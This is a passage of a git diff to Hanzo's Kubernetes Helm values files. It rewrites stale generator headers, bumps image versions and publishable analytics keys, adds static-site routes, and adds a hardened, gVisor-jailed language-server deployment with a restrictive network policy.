# carries no behaviour change. It stays below the priority:150
# `insights-hanzo-ai-cloud-ingest` router, so /e, /batch, /capture and /v1/e
# keep diverting to the cloud ingest door at /v1/event. Retiring the
# superseded router is a separate change against the universe-ingress app,
# which sets prune:false — deleting it from git does not delete it live.
# Enforcement switch, read by the fleet ApplicationSet's templatePatch — not by
# the chart. On because this service's App CR is orphan-deleted (verified: the
+10 -3
View File
@@ -1,4 +1,11 @@
# Generated from the insights-worker App CR by hack/app2values.py.
# The insights-worker declaration. Hand-maintained: this file IS the source of truth, read
# by the `fleet` ApplicationSet (charts/app/values/*/*.yaml). Edit it directly.
#
# It previously claimed to be generated from an App CR by hack/app2values.py.
# Both are gone — 0c7b5ea36 deleted infra/k8s/operator/crs, and the script with
# it — so that header named a generator nobody could run from an input that did
# not exist, which reads as "do not edit" and sends you looking for a source that
# is not there.
replicas: 1
partOf: insights
component: worker
@@ -123,8 +130,8 @@ imagePullSecrets:
strategy: RollingUpdate
image:
repository: ghcr.io/hanzoai/insights
tag: 1.52.68
digest: sha256:20018ffe71394d8bf1cacd5852406ca484d4dc0baf320c72a753cabe9e4119c3
tag: 1.52.80
digest: sha256:779c0f9c24a4d89df66d84fa699e0e296859718db42d10a938aee02957af5fb8
pullPolicy: IfNotPresent
# Enforcement switch, read by the fleet ApplicationSet's templatePatch — not by
+20 -2
View File
@@ -1,4 +1,11 @@
# Generated from the karma-style App CR by hack/app2values.py.
# The karma-style declaration. Hand-maintained: this file IS the source of truth, read
# by the `fleet` ApplicationSet (charts/app/values/*/*.yaml). Edit it directly.
#
# It previously claimed to be generated from an App CR by hack/app2values.py.
# Both are gone — 0c7b5ea36 deleted infra/k8s/operator/crs, and the script with
# it — so that header named a generator nobody could run from an input that did
# not exist, which reads as "do not edit" and sends you looking for a source that
# is not there.
cd:
automated: true # sole writer: no App CR
replicas: 2
@@ -26,8 +33,19 @@ env:
secretKeyRef:
key: SPA_COMMERCE_TOKEN
name: karma-style-commerce
# The hanzo org's publishable key. `pk-` (hyphen) is the ONE publishable spelling
# cloud accepts — `PublishablePrefix` in auth_identity.go — and the `pk_<b64 org>.<sig>`
# shape this used to carry belonged to a retired HMAC key family that the door no
# longer recognizes AT ALL. It is not refused as a bad key; it fails the prefix test,
# so the request reads as presenting nothing and /v1/event answers 401
# ingest_key_required. Verified against api.hanzo.ai on both carriers.
#
# So this storefront has been dropping 100% of its events — view_item, add_to_cart,
# begin_checkout, purchase — since $public was retired on Aug 4 and the keyless
# lane stopped silently accepting them. Literal, not a secretKeyRef, because a
# publishable key ships to every browser in /config.json anyway.
- name: SPA_ANALYTICS_TOKEN
value: pk_aGFuem8.woN0IELSfgLQF4xg837XiQ
value: pk-live-c88649f1085fb6ad441d8a0072933a9b
- name: SPA_ANALYTICS_HOST
value: https://api.hanzo.ai
- name: PROTECT_CLIENT_SECRET
+8 -1
View File
@@ -1,4 +1,11 @@
# Generated from the kv App CR by hack/app2values.py.
# The kv declaration. Hand-maintained: this file IS the source of truth, read
# by the `fleet` ApplicationSet (charts/app/values/*/*.yaml). Edit it directly.
#
# It previously claimed to be generated from an App CR by hack/app2values.py.
# Both are gone — 0c7b5ea36 deleted infra/k8s/operator/crs, and the script with
# it — so that header named a generator nobody could run from an input that did
# not exist, which reads as "do not edit" and sends you looking for a source that
# is not there.
imagePullSecrets: []
defaultReadinessProbe: false
replicas: 1
+261
View File
@@ -0,0 +1,261 @@
# lsp — the jailed language-server daemon.
#
# It holds immutable per-(org, repo, commit) working trees on a volume, runs a
# language server over each one inside a jail, and answers position questions
# about them. The answer it exists for is a definition that leaves the
# repository and lands in a dependency — which requires fetching that dependency
# and type-checking both, which requires running a third-party binary
# (`gopls`, and `go list` under it) over untrusted bytes.
#
# That last clause is the whole reason this is a separate Deployment and not
# code in the cloud pod: a language server is an interpreter, tenant source is
# input, and the fleet's API process is the last place that should meet the two.
# Everything below is downstream of it.
#
# Source: github.com/hanzoai/lsp (forge mirror hanzoai/lsp, CI on git.hanzo.ai).
replicas: 1
partOf: platform
component: lsp
image:
repository: ghcr.io/hanzoai/lsp
tag: 0.1.1
digest: sha256:34ec7a5e9d1ff526b55d086a98ecc4359636e93296f1e3f9968d2c51815d12d9
pullPolicy: IfNotPresent
imagePullSecrets:
- name: ghcr-secret
# ── The boundary ─────────────────────────────────────────────────────────────
#
# runsc, a user-space kernel. The daemon's own jail (namespaces + a minimal
# chroot + seccomp, built into the binary — there is no jailer executable in the
# image, it re-execs itself) is the inner ring; this is the outer one. Neither
# is sufficient alone: the jail confines what a language server can ASK FOR, and
# gVisor decides what the host kernel will ANSWER.
#
# NO nodeSelector AND NO tolerations HERE, deliberately. RuntimeClass/gvisor
# merges its own `scheduling` into this pod at admission — today that is
# `workload: code-exec` plus a toleration for the `dedicated=code-exec` taint —
# and that node set is declared once, beside the DaemonSet that installs runsc on
# those same nodes, with a CI gate that fails when the two disagree.
#
# This is not style. The node set MOVED while this file was being written: the
# pool went from not existing at all, to two tainted nodes with runsc on them.
# A values file that had named the pool would now be naming the wrong one, and
# a nodeSelector that conflicts with the RuntimeClass's does not misplace a pod,
# it REJECTS it. Naming the class instead means this file did not have to change.
runtimeClassName: gvisor
# This daemon talks to no API server. A mounted token would be a live cluster
# credential sitting inside the blast radius of the thing we jailed.
automountServiceAccountToken: false
fsGroup: 65532
podSecurityContext:
runAsNonRoot: true
runAsUser: 65532
runAsGroup: 65532
# The image's USER is the NUMBER 65532 for this line's sake: the kubelet will
# not resolve a username inside an image to prove it is not root, it just
# refuses the container.
seccompProfile:
type: RuntimeDefault
securityContext:
allowPrivilegeEscalation: false
capabilities:
drop: [ALL]
# Nothing writes to the image. The daemon puts HOME, GOPATH and GOCACHE under
# /tmp (internal/lsp/root.go, langs.go) and GOMODCACHE on the volume, so the
# only writable paths are the two mounts below — which is what makes this true
# rather than aspirational.
readOnlyRootFilesystem: true
# ── State ────────────────────────────────────────────────────────────────────
#
# One ReadWriteOnce volume, so a rolling update would dead-lock on Multi-Attach:
# the new pod cannot mount what the old one still holds. Recreate takes the
# outage instead, which for a cache-warming daemon costs a cold start and
# nothing else.
strategy: Recreate
claims:
- name: lsp-data
size: 20Gi
storageClass: do-block-storage
accessModes:
- ReadWriteOnce
volumes:
- name: lsp-data
persistentVolumeClaim:
claimName: lsp-data
# The staging directory every jail chroots into. An emptyDir, not the volume:
# it holds nothing but mountpoints and must die with the pod. /tmp is also where
# GOPATH and GOCACHE live, which is why readOnlyRootFilesystem above is
# survivable.
- name: tmp
emptyDir:
sizeLimit: 8Gi
volumeMounts:
- name: lsp-data
mountPath: /var/lib/lsp
- name: tmp
mountPath: /tmp
# ── The key ──────────────────────────────────────────────────────────────────
#
# hanzo/lsp/LSP_KEY@prod — the app that READS it, then the variable verbatim
# (HIP-0136). The SAME key is read by cloud, whose /v1/code/lsp proxy sends it
# as X-API-Key; one secret, two readers, one path.
#
# Unset is not a degraded mode: `lsp.New` with an empty key makes the daemon
# refuse every request rather than serve whoever asks. So a missing sync is a
# closed door, not an open one.
kmsSecrets:
- name: lsp-env-kms-sync
secretsPath: /lsp
keys:
- LSP_KEY
secretName: lsp-env
env:
- name: LSP_KEY
valueFrom:
secretKeyRef:
name: lsp-env
key: LSP_KEY
ports:
- containerPort: 8000
name: http
# 8000 on the Service too, not 80. cloud dials `lsp.hanzo.svc:8000`, and a
# Service that renumbers its own port is one more thing to remember.
servicePort: 8000
# Internal only. Nothing about this daemon is safe to expose: it answers about
# other tenants' source, and its only authentication is a shared service key
# meant for one in-cluster caller.
ingress:
enabled: false
# ── Probes ───────────────────────────────────────────────────────────────────
#
# LIVENESS AND READINESS ARE DIFFERENT QUESTIONS HERE and do not collapse.
# /healthz answers while the process is up. /readyz answers what the JAIL
# decided: at boot the daemon runs the real thing in both phases on THIS host
# and refuses to be ready if it did not work. On a node without runsc, or
# without the ability to make a user namespace, the pod runs, logs why, serves
# 503, and takes no traffic. That is the intended failure — no endpoint rather
# than an unjailed one.
startupProbe:
# The socket does not open until that boot-time proof returns (up to 60s), and
# a cold volume adds to it. 5s × 36 = 3 minutes before the pod is called dead.
httpGet:
path: /healthz
port: 8000
periodSeconds: 5
failureThreshold: 36
livenessProbe:
httpGet:
path: /healthz
port: 8000
periodSeconds: 30
timeoutSeconds: 3
failureThreshold: 6
readinessProbe:
httpGet:
path: /readyz
port: 8000
periodSeconds: 10
timeoutSeconds: 3
failureThreshold: 3
# ── Size ─────────────────────────────────────────────────────────────────────
#
# Guaranteed QoS (request == limit). A language server that is evicted halfway
# through indexing a cold root loses the whole cold start, and this pod's
# neighbours must not be able to cause that.
#
# 8Gi is the daemon's own arithmetic, not a round number: up to 4 live roots, a
# serve rlimit of 6 GiB address space per language server, and a 2 GiB tmpfs
# INSIDE each jail — that one is memory-backed, so its pages are charged here.
# The /tmp emptyDir below is a different thing: node disk, hence the
# ephemeral-storage request that keeps it from being evicted for growing.
#
# SIZED TO THE gVisor POOL AS IT EXISTS. RuntimeClass/gvisor sends this pod to
# `workload: code-exec` — two s-4vcpu-8gb nodes, ~6.2Gi allocatable, the runsc
# sentry taking its own share. request 4Gi so the pod SCHEDULES; limit 6Gi gives
# gopls room to index a phase-1 (Go-only, ≤4 roots) workload without OOM.
#
# HEADROOM PATH, not a blocker: a large monorepo cold-index can want more than
# 6Gi. When it does, the fix is a `doctl` pool resize (bigger nodes) + bumping
# these two numbers — a values change, not code. Shipping Go/gopls on the pool
# that exists beats a Pending pod waiting on an infra resize.
resources:
requests:
cpu: "1"
memory: 4Gi
ephemeral-storage: 10Gi
limits:
cpu: "2"
memory: 6Gi
ephemeral-storage: 10Gi
# ── Reach ────────────────────────────────────────────────────────────────────
#
# Read this as three claims, in order of how much they carry:
#
# 1. The SERVE phase has no network at all. Not restricted — absent: the jail
# gives the language server an empty network namespace, so nothing below
# applies to the phase that actually touches tenant source.
# 2. The FETCH phase reaches exactly one host, and that is enforced in the
# daemon (LSP_PROXY, with GOSUMDB verifying what comes back), not here.
# 3. This policy is the OUTER bound on a process that got past both.
#
# WHICH IS WHY 443-to-the-internet IS NOT A HOLE. A NetworkPolicy selects on
# addresses; it has no way to say `proxy.golang.org`, and pinning that name's
# IPs would be pinning Google anycast that moves without telling us. So the rule
# is written as what it can actually enforce — and the enforcement that matters
# is the `except` list, which is what stops the one opening from being a route
# back INTO the cluster: every ClusterIP is an address in 10/8, and the cloud
# metadata endpoint is 169.254.169.254.
#
# Ingress is one caller on one port. cloud is the only thing that holds the key.
networkPolicy:
enabled: true
ingress:
- from:
- podSelector:
matchLabels:
app.kubernetes.io/name: cloud
ports:
- {port: 8000, protocol: TCP}
egress:
- to:
- namespaceSelector:
matchLabels:
kubernetes.io/metadata.name: kube-system
ports:
- {port: 53, protocol: UDP}
- {port: 53, protocol: TCP}
- to:
- ipBlock:
cidr: 0.0.0.0/0
except:
- 10.0.0.0/8
- 172.16.0.0/12
- 192.168.0.0/16
- 169.254.0.0/16
ports:
- {port: 443, protocol: TCP}
# No PDB: one replica over one ReadWriteOnce volume cannot be made highly
# available by a budget, and a PDB over a single pod blocks node drains.
pdb:
enabled: false
# CD is the only writer — this service has no App CR and never had one.
cd:
automated: true
+8 -1
View File
@@ -1,4 +1,11 @@
# Generated from the market App CR by hack/app2values.py.
# The market declaration. Hand-maintained: this file IS the source of truth, read
# by the `fleet` ApplicationSet (charts/app/values/*/*.yaml). Edit it directly.
#
# It previously claimed to be generated from an App CR by hack/app2values.py.
# Both are gone — 0c7b5ea36 deleted infra/k8s/operator/crs, and the script with
# it — so that header named a generator nobody could run from an input that did
# not exist, which reads as "do not edit" and sends you looking for a source that
# is not there.
replicas: 1
partOf: platform
component: market
+8 -1
View File
@@ -1,4 +1,11 @@
# Generated from the models App CR by hack/app2values.py.
# The models declaration. Hand-maintained: this file IS the source of truth, read
# by the `fleet` ApplicationSet (charts/app/values/*/*.yaml). Edit it directly.
#
# It previously claimed to be generated from an App CR by hack/app2values.py.
# Both are gone — 0c7b5ea36 deleted infra/k8s/operator/crs, and the script with
# it — so that header named a generator nobody could run from an input that did
# not exist, which reads as "do not edit" and sends you looking for a source that
# is not there.
replicas: 2
partOf: ai
component: models
+8 -1
View File
@@ -1,4 +1,11 @@
# Generated from the o11y-site App CR by hack/app2values.py.
# The o11y-site declaration. Hand-maintained: this file IS the source of truth, read
# by the `fleet` ApplicationSet (charts/app/values/*/*.yaml). Edit it directly.
#
# It previously claimed to be generated from an App CR by hack/app2values.py.
# Both are gone — 0c7b5ea36 deleted infra/k8s/operator/crs, and the script with
# it — so that header named a generator nobody could run from an input that did
# not exist, which reads as "do not edit" and sends you looking for a source that
# is not there.
cd:
automated: true # sole writer: no App CR
replicas: 2
+8 -1
View File
@@ -1,4 +1,11 @@
# Generated from the operator App CR by hack/app2values.py.
# The operator declaration. Hand-maintained: this file IS the source of truth, read
# by the `fleet` ApplicationSet (charts/app/values/*/*.yaml). Edit it directly.
#
# It previously claimed to be generated from an App CR by hack/app2values.py.
# Both are gone — 0c7b5ea36 deleted infra/k8s/operator/crs, and the script with
# it — so that header named a generator nobody could run from an input that did
# not exist, which reads as "do not edit" and sends you looking for a source that
# is not there.
replicas: 2
env:
- name: PORT
+8 -1
View File
@@ -1,4 +1,11 @@
# Generated from the papers App CR by hack/app2values.py.
# The papers declaration. Hand-maintained: this file IS the source of truth, read
# by the `fleet` ApplicationSet (charts/app/values/*/*.yaml). Edit it directly.
#
# It previously claimed to be generated from an App CR by hack/app2values.py.
# Both are gone — 0c7b5ea36 deleted infra/k8s/operator/crs, and the script with
# it — so that header named a generator nobody could run from an input that did
# not exist, which reads as "do not edit" and sends you looking for a source that
# is not there.
cd:
automated: true # sole writer: no App CR
replicas: 2
+13 -9
View File
@@ -41,9 +41,10 @@ env:
value: >-
default-src 'self';
script-src 'self' 'unsafe-inline' https://web.squarecdn.com https://sandbox.web.squarecdn.com
https://js.squareup.com https://sandbox.web.squarecdn.com https://pay.google.com https://applepay.cdn-apple.com;
https://js.squareup.com https://pay.google.com https://applepay.cdn-apple.com;
style-src 'self' 'unsafe-inline' https://web.squarecdn.com https://sandbox.web.squarecdn.com;
font-src 'self' data: https://square-fonts-production-f.squarecdn.com https://d1g145x70srn7h.cloudfront.net;
font-src 'self' data: https://square-fonts-production-f.squarecdn.com https://d1g145x70srn7h.cloudfront.net
https://cash-f.squarecdn.com;
img-src 'self' data: https:;
connect-src 'self' https://api.hanzo.ai https://hanzo.id https://lux.id https://zoolabs.id https://pars.id
https://pci-connect.squareup.com https://pci-connect.squareupsandbox.com
@@ -71,13 +72,16 @@ ports:
image:
repository: ghcr.io/hanzoai/pay
tag: 58a5b375aff1b1fc4d10d60ba7604addbdc22ac7-amd64-pay
digest: sha256:7c0378a568f43c26bc656d9cd9c84ce79c8f2dba443aa4a2f57d51fabcb83513
tag: 98e0f066c4b7fe82434b5cd82bc9218948709908-amd64-pay
digest: sha256:928c360f4f63158dc5e9ee77f5b3c9e9f06118a0e35b924c9017f0222b0a4383
pullPolicy: IfNotPresent
# NO ingress here. pay.hanzo.ai is declared ONCE, by hanzo-domains, because the
# host needs a path split this app cannot express: /v1/commerce and /v1/billing
# go to cloud, everything else to this Service. What used to be here was a strict
# SUBSET of that -- `/` only -- so the host had TWO Ingress objects and which one
# answered a /v1 request was down to ordering, not design. It happened to work.
#
# The Service is unchanged; hanzo-domains points / at it.
ingress:
enabled: true
hosts:
- pay.hanzo.ai
tls: true
clusterIssuer: letsencrypt-prod-cf
enabled: false
+8 -1
View File
@@ -1,4 +1,11 @@
# Generated from the pricing App CR by hack/app2values.py.
# The pricing declaration. Hand-maintained: this file IS the source of truth, read
# by the `fleet` ApplicationSet (charts/app/values/*/*.yaml). Edit it directly.
#
# It previously claimed to be generated from an App CR by hack/app2values.py.
# Both are gone — 0c7b5ea36 deleted infra/k8s/operator/crs, and the script with
# it — so that header named a generator nobody could run from an input that did
# not exist, which reads as "do not edit" and sends you looking for a source that
# is not there.
replicas: 2
partOf: ai
component: pricing
+8 -1
View File
@@ -1,4 +1,11 @@
# Generated from the proofs App CR by hack/app2values.py.
# The proofs declaration. Hand-maintained: this file IS the source of truth, read
# by the `fleet` ApplicationSet (charts/app/values/*/*.yaml). Edit it directly.
#
# It previously claimed to be generated from an App CR by hack/app2values.py.
# Both are gone — 0c7b5ea36 deleted infra/k8s/operator/crs, and the script with
# it — so that header named a generator nobody could run from an input that did
# not exist, which reads as "do not edit" and sends you looking for a source that
# is not there.
replicas: 2
partOf: platform
component: proofs
+8 -1
View File
@@ -1,4 +1,11 @@
# Generated from the registry App CR by hack/app2values.py.
# The registry declaration. Hand-maintained: this file IS the source of truth, read
# by the `fleet` ApplicationSet (charts/app/values/*/*.yaml). Edit it directly.
#
# It previously claimed to be generated from an App CR by hack/app2values.py.
# Both are gone — 0c7b5ea36 deleted infra/k8s/operator/crs, and the script with
# it — so that header named a generator nobody could run from an input that did
# not exist, which reads as "do not edit" and sends you looking for a source that
# is not there.
replicas: 1
env:
- name: REGISTRY_AUTH
+8 -1
View File
@@ -1,4 +1,11 @@
# Generated from the search App CR by hack/app2values.py.
# The search declaration. Hand-maintained: this file IS the source of truth, read
# by the `fleet` ApplicationSet (charts/app/values/*/*.yaml). Edit it directly.
#
# It previously claimed to be generated from an App CR by hack/app2values.py.
# Both are gone — 0c7b5ea36 deleted infra/k8s/operator/crs, and the script with
# it — so that header named a generator nobody could run from an input that did
# not exist, which reads as "do not edit" and sends you looking for a source that
# is not there.
replicas: 1
partOf: platform
component: search
+26 -3
View File
@@ -1,4 +1,11 @@
# Generated from the sensei-group App CR by hack/app2values.py.
# The sensei-group declaration. Hand-maintained: this file IS the source of truth, read
# by the `fleet` ApplicationSet (charts/app/values/*/*.yaml). Edit it directly.
#
# It previously claimed to be generated from an App CR by hack/app2values.py.
# Both are gone — 0c7b5ea36 deleted infra/k8s/operator/crs, and the script with
# it — so that header named a generator nobody could run from an input that did
# not exist, which reads as "do not edit" and sends you looking for a source that
# is not there.
replicas: 2
partOf: sensei-group
component: sensei-group
@@ -22,8 +29,24 @@ ports:
servicePort: 80
image:
repository: ghcr.io/hanzoai/sensei-group
tag: v0.1.0
digest: sha256:d01840cad8ce09ad3942d0ed3ea1a9f8eb007d9f247aaa53d1b13d9e58879ac8
# Baked argv, so there is no command/args override below. The BASE image tag
# is the thing that actually decides behaviour here:
# v0.1.0 static 0.4.1 -spa
# v0.1.3 static 0.4.1 -404 404.html CrashLoop: 0.4.1 has no -404 flag
# v0.1.6 static 0.4.1 -spa booted, but every route served /
# v0.1.7 static v0.5.6 -404 404.html correct
#
# Clean-URL fallback (/ai -> ai.html) and -404 landed in the same hanzoai/static
# commit (44ff6d7), first released in v0.5.1. On 0.4.1 neither exists, so -404
# aborts at startup and -spa is the only flag that boots — and with no .html
# fallback, -spa then catches every route before it reaches its own file. That
# is why v0.1.6 answered /ai, /help and /case-study/3 with the homepage.
#
# On v0.5.6 routes resolve on their own, so -spa is not needed to make the site
# work, which frees a miss to be a real 404 instead of a 200 homepage a crawler
# indexes as a duplicate. See www.yaml for the postmortem on that soft-404.
tag: v0.1.7
digest: sha256:55d4bb93dad462fd4a292dbcb3124a6fb9bb6d6ecd7b7979abcd764ae016f4d9
pullPolicy: IfNotPresent
pdb:
enabled: true
+8 -1
View File
@@ -1,4 +1,11 @@
# Generated from the sign App CR by hack/app2values.py.
# The sign declaration. Hand-maintained: this file IS the source of truth, read
# by the `fleet` ApplicationSet (charts/app/values/*/*.yaml). Edit it directly.
#
# It previously claimed to be generated from an App CR by hack/app2values.py.
# Both are gone — 0c7b5ea36 deleted infra/k8s/operator/crs, and the script with
# it — so that header named a generator nobody could run from an input that did
# not exist, which reads as "do not edit" and sends you looking for a source that
# is not there.
replicas: 2
partOf: platform
component: sign
+8 -1
View File
@@ -1,4 +1,11 @@
# Generated from the sql App CR by hack/app2values.py.
# The sql declaration. Hand-maintained: this file IS the source of truth, read
# by the `fleet` ApplicationSet (charts/app/values/*/*.yaml). Edit it directly.
#
# It previously claimed to be generated from an App CR by hack/app2values.py.
# Both are gone — 0c7b5ea36 deleted infra/k8s/operator/crs, and the script with
# it — so that header named a generator nobody could run from an input that did
# not exist, which reads as "do not edit" and sends you looking for a source that
# is not there.
defaultReadinessProbe: false
replicas: 1
partOf: data
+117
View File
@@ -29,6 +29,67 @@ middlewares:
staticFiles:
root: s3://cdn/gallery
spaMode: true
# hanzo.agency, off Cloudflare Pages (project `hanzo-agency`, a direct wrangler
# upload with no source repo recorded). The source is hanzoai/agency, identified
# by rebuilding it and matching the live <title> and route set.
#
# spaMode is TRUE here and FALSE for hanzo-ai-static, and the difference is not
# stylistic. This is a react-router SPA: `vite build` emits ONE index.html and
# every one of its 34 routes is resolved by the client router, so /pricing has no
# file behind it and a miss MUST fall back to the shell. hanzo.ai is the opposite
# — a Next `output: export` writes real HTML per route, so there a fallback would
# answer 200-with-the-homepage for a missing chunk and hide the break.
- name: hanzo-agency-static
spec:
staticFiles:
root: s3://cdn/hanzo-agency
spaMode: true
# Vite content-hashes everything under assets/, so those are immutable;
# index.html gets no-cache from the middleware and revalidates, which is
# what lets a redeploy move the whole app atomically.
cacheControl:
.js: "public, max-age=31536000, immutable"
.css: "public, max-age=31536000, immutable"
.woff2: "public, max-age=31536000, immutable"
.woff: "public, max-age=31536000, immutable"
# hanzo.ai — the marketing apex, off Cloudflare Pages and onto this plane.
#
# It is a Next.js `output: 'export'`, so every route is a real file and there is
# nothing to render: an S3 prefix and a host route serve it whole, with no pod,
# no image and no tag to bump. That retires BOTH of the mechanisms that were
# aimed at this host and neither of which ever served it — the Pages project,
# and the `hanzo-ai-www` image plane whose router in routes.yaml pointed at a
# Service that was never created (a 502 for anyone who reached the cluster).
#
# spaMode is FALSE and that is the whole point. `generateStaticParams` emits real
# HTML per route, so there is no client router to fall back to, and an SPA
# fallback here would answer 200 with the homepage for every missing chunk —
# indistinguishable from a good visit and exactly the failure that made the
# ChunkLoadErrors so hard to read. With it off, a miss is a miss.
#
# No errorPage404 for the same reason. errorPage404 is all-or-nothing in the
# middleware — it is served for EVERY miss, page and asset alike — so setting it
# would put 30KB of branded HTML on the wire in answer to a request for a .js
# file, which is precisely what Pages does today and precisely what confuses a
# chunk loader. Bare 404s until the middleware can tell the two apart; see the
# note in the deploy report about wiring errorPage404 through `looksLikeAsset`.
- name: hanzo-ai-static
spec:
staticFiles:
root: s3://cdn/hanzo-ai
spaMode: false
# Keyed by EXTENSION, not by path — the middleware matches `filepath.Ext`,
# so "/_next/static/** is immutable" is not directly expressible. It works
# out here because the export content-hashes every file it emits in these
# four types, and the unhashed assets that ship in `public/` are images and
# icons, which keep the 86400 default. Anything not listed falls through to
# that default; .html gets `no-cache` from the middleware so the shell
# always revalidates and can never pin a client to a stale asset graph.
cacheControl:
.js: "public, max-age=31536000, immutable"
.css: "public, max-age=31536000, immutable"
.woff2: "public, max-age=31536000, immutable"
.woff: "public, max-age=31536000, immutable"
routes:
- name: cd-hanzo-ai
spec:
@@ -59,6 +120,62 @@ routes:
port: 80
tls:
secretName: gallery-site-tls
# The apex and www serve the same bundle rather than redirecting, which is what
# both hostnames already did on Pages; changing that is a separate decision and
# not one to make inside a migration.
#
# priority 100 beats the default (Traefik ranks by rule length otherwise) and is
# unambiguous now that the routes.yaml `hanzo-ai` router is gone. Both must land
# together — a route naming a middleware that does not exist takes the router
# down, and the file-provider router outranking this one would silently keep
# serving the 502.
#
# secretName, not certResolver. wildcard-hanzo-ai-tls already carries BOTH
# DNS:*.hanzo.ai and DNS:hanzo.ai (the apex is an explicit SAN, checked before
# writing this), so the apex needs no ACME issuance of its own. That matters
# more than usual: /data/acme.json is a node-local hostPath, the replicas hold
# divergent stores, and every router added to the letsencrypt resolver widens
# the gap a restart has to close over DNS-01.
- name: hanzo-ai-apex
spec:
entryPoints:
- websecure
routes:
- match: Host(`hanzo.ai`) || Host(`www.hanzo.ai`)
kind: Rule
priority: 100
middlewares:
- name: hanzo-ai-static
services:
- name: static-sink
port: 80
tls:
secretName: wildcard-hanzo-ai-tls
# Only the apex. www.hanzo.agency is deliberately NOT matched here: it still
# CNAMEs to cname.vercel-dns.com, so claiming the hostname in this router while
# DNS sends it elsewhere would describe an origin nothing reaches. It moves when
# its DNS does, not before.
#
# secretName agency-tls, not certResolver — that secret already carries
# DNS:hanzo.agency (and www.hanzo.agency and agency.hanzo.ai), so this router
# needs no ACME issuance. Deliberate: /data/acme.json is a node-local hostPath
# and every router added to the letsencrypt resolver widens the gap a restart
# has to close over DNS-01, which is what the 525 storms were.
- name: hanzo-agency
spec:
entryPoints:
- websecure
routes:
- match: Host(`hanzo.agency`)
kind: Rule
priority: 100
middlewares:
- name: hanzo-agency-static
services:
- name: static-sink
port: 80
tls:
secretName: agency-tls
- name: flow-hanzo-ai
spec:
entryPoints:
+8 -1
View File
@@ -1,4 +1,11 @@
# Generated from the status-lux App CR by hack/app2values.py.
# The status-lux declaration. Hand-maintained: this file IS the source of truth, read
# by the `fleet` ApplicationSet (charts/app/values/*/*.yaml). Edit it directly.
#
# It previously claimed to be generated from an App CR by hack/app2values.py.
# Both are gone — 0c7b5ea36 deleted infra/k8s/operator/crs, and the script with
# it — so that header named a generator nobody could run from an input that did
# not exist, which reads as "do not edit" and sends you looking for a source that
# is not there.
imagePullSecrets: []
replicas: 1
partOf: platform
+34 -3
View File
@@ -1,8 +1,39 @@
# Generated from the studio App CR by hack/app2values.py.
# The studio declaration. Hand-maintained: this file IS the source of truth, read
# by the `fleet` ApplicationSet (charts/app/values/*/*.yaml). Edit it directly.
#
# It previously claimed to be generated from an App CR by hack/app2values.py.
# Both are gone — 0c7b5ea36 deleted infra/k8s/operator/crs, and the script with
# it — so that header named a generator nobody could run from an input that did
# not exist, which reads as "do not edit" and sends you looking for a source that
# is not there.
replicas: 1
partOf: platform
component: studio
env:
# The publishable ingest key studio stamps into its pages as `window.HZ.pk`
# (middleware/studio_home.py `_publishable()`), which reads PUBLISHABLE_KEY --
# the ONE name, no fallbacks -- and requires a `pk-` prefix. This was previously
# spelled EVENT_INGEST_KEY here while the running studio read three other names,
# so `_publishable()` returned "" and, in that function's own words, every event
# studio emitted went unattributed. Measured live: studio.hanzo.ai served zero
# `pk-` tokens. One name on both sides is what makes that state impossible.
# Measured before this line existed: the served roots — /marketing/shell.js,
# /app/web, and the comfyui_frontend_package static tree that is the real
# web_root — contained zero `pk-` tokens of any kind.
#
# A LITERAL, not a secretKeyRef, because this is not a secret: it is the
# publishable half of the pair, the same value hanzo.id already inlines in
# clear text in its public bundle (assets/index-*.js). Sealing a string that
# ships to every browser would buy nothing and add a rotation nobody performs.
# The writing credential is EVENT_INITIATOR_KEY and is NOT here.
#
# Studio reads this at RUNTIME, but the image pinned below predates the rename:
# it looks for the retired spellings, so this line does nothing until studio is
# rebuilt past hanzoai/studio a154b33c (_PUBLISHABLE_KEY_ENV = ("PUBLISHABLE_KEY",)).
# That is not a regression — the pinned image serves an empty window.HZ.pk today
# either way, measured live.
- name: PUBLISHABLE_KEY
value: pk-live-c88649f1085fb6ad441d8a0072933a9b
- name: STUDIO_LISTEN
value: 0.0.0.0
- name: STUDIO_CONTENT_PUBLISH
@@ -174,8 +205,8 @@ args:
- --cpu
image:
repository: ghcr.io/hanzoai/studio
tag: v0.19.18
digest: sha256:f83436d523fe5b48bbafeb58265788a65bf99a248fd895b5cd63df2c3f278f21
tag: a154b33c53aad791d1b2073c7fbf92cda4c64fab-amd64-studio
digest: sha256:199791954e9e126fe4f737a26b1d3b949199b7c35d2a122a047168b63104d2e0
pullPolicy: Always
readinessProbe:
timeoutSeconds: 3
+8 -1
View File
@@ -1,4 +1,11 @@
# Generated from the team-docs App CR by hack/app2values.py.
# The team-docs declaration. Hand-maintained: this file IS the source of truth, read
# by the `fleet` ApplicationSet (charts/app/values/*/*.yaml). Edit it directly.
#
# It previously claimed to be generated from an App CR by hack/app2values.py.
# Both are gone — 0c7b5ea36 deleted infra/k8s/operator/crs, and the script with
# it — so that header named a generator nobody could run from an input that did
# not exist, which reads as "do not edit" and sends you looking for a source that
# is not there.
cd:
automated: true # sole writer: no App CR
replicas: 2
@@ -1,4 +1,11 @@
# Generated from the templates-blueprints App CR by hack/app2values.py.
# The templates-blueprints declaration. Hand-maintained: this file IS the source of truth, read
# by the `fleet` ApplicationSet (charts/app/values/*/*.yaml). Edit it directly.
#
# It previously claimed to be generated from an App CR by hack/app2values.py.
# Both are gone — 0c7b5ea36 deleted infra/k8s/operator/crs, and the script with
# it — so that header named a generator nobody could run from an input that did
# not exist, which reads as "do not edit" and sends you looking for a source that
# is not there.
replicas: 2
partOf: platform
component: templates
+8 -1
View File
@@ -1,4 +1,11 @@
# Generated from the tryon-karma App CR by hack/app2values.py.
# The tryon-karma declaration. Hand-maintained: this file IS the source of truth, read
# by the `fleet` ApplicationSet (charts/app/values/*/*.yaml). Edit it directly.
#
# It previously claimed to be generated from an App CR by hack/app2values.py.
# Both are gone — 0c7b5ea36 deleted infra/k8s/operator/crs, and the script with
# it — so that header named a generator nobody could run from an input that did
# not exist, which reads as "do not edit" and sends you looking for a source that
# is not there.
replicas: 2
partOf: platform
component: tryon-karma
+8 -1
View File
@@ -1,4 +1,11 @@
# Generated from the ui App CR by hack/app2values.py.
# The ui declaration. Hand-maintained: this file IS the source of truth, read
# by the `fleet` ApplicationSet (charts/app/values/*/*.yaml). Edit it directly.
#
# It previously claimed to be generated from an App CR by hack/app2values.py.
# Both are gone — 0c7b5ea36 deleted infra/k8s/operator/crs, and the script with
# it — so that header named a generator nobody could run from an input that did
# not exist, which reads as "do not edit" and sends you looking for a source that
# is not there.
replicas: 2
partOf: platform
component: ui
+32 -4
View File
